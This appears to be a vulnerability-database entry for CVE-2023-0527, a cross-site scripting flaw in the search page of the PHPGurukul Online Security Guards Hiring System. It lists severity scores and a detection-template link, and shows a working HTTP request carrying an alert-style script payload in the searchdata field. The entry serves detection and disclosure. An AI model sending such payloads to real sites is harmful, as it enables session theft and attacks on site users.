🔙 목록으로 돌아가기

CVE-2023-0527: Online Security Guards Hiring System - Cross-Site Scripting

TitleOnline Security Guards Hiring System - Cross-Site Scripting
AuthorHarsh
SeverityMedium
ImpactUnauthenticated attackers can inject malicious JavaScript through the searchdata parameter in search-request.php to steal user session cookies and execute attacks.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.06896
CVE IDCVE-2023-0527
CWE IDCWE-79
Tags cve2023 cve packetstorm osghs xss online_security_guards_hiring_system_project vuln

🔍 Vulnerability Description

A vulnerability was found in PHPGurukul Online Security Guards Hiring System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file search-request.php.

🌐 HTTP Request

POST /search-request.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
Connection: close
Content-Length: 65
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata=<img%20src=x%20onerror=alert(document.domain)>&search=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0527.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-0527.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A